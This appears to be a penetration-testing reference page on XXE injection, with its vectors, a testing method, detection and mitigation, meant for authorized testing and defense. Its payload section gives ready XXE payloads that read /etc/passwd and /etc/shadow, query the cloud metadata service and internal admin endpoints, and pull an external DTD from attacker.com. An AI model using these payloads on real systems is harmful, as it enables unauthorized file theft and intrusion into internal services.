OWASP Hunting
Injection

XML External Entity (XXE)

XXE attacks abuse XML external entity processing to read local files, conduct SSRF, or cause denial of service.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

XML External Entity (XXE) injection is a vulnerability that allows an attacker to interfere with an application's processing of XML data. It can allow reading of arbitrary server files, SSRF to internal services, and in some configurations, remote code execution. XXE exploits XML parsers that resolve external entity references defined in the DTD.

Attack Vectors

  • XML file upload endpoints (SVG, DOCX, XLSX, ODF)
  • SOAP web service endpoints
  • XML-based REST APIs
  • Document processing services (PDF, Word)
  • Feed parsers (RSS, Atom)

Testing Methodology

  1. Submit a DTD with an external entity referencing /etc/passwd
  2. Test for blind XXE using out-of-band DNS/HTTP interactions
  3. Test file:// and http:// URIs as external entity targets
  4. Try SVG or DOCX file uploads as an XXE vector

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Basic File Read
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///windows/win.ini">]><foo>&xxe;</foo>
SSRF via XXE
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service/admin">]><foo>&xxe;</foo>
Blind OOB XXE
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]><foo>test</foo>
SVG XXE
<svg xmlns="http://www.w3.org/2000/svg"><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><text>&xxe;</text></svg>

Indicators of Vulnerability

  • File contents (/etc/passwd) returned in response
  • HTTP or DNS request received on attacker-controlled server
  • XML parser error referencing external entity resolution
  • SSRF response containing internal service data

Detection Guidance

Disable external entity processing in all XML parsers. Monitor for outbound HTTP/DNS requests from XML processing services. Alert on XML documents containing DOCTYPE declarations.

Mitigation & Remediation

  • Disable external entity and DTD processing in all XML parsers
  • Use less complex data formats like JSON where possible
  • Patch XML processing libraries to current versions
  • Implement network-level egress filtering for XML processing services

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)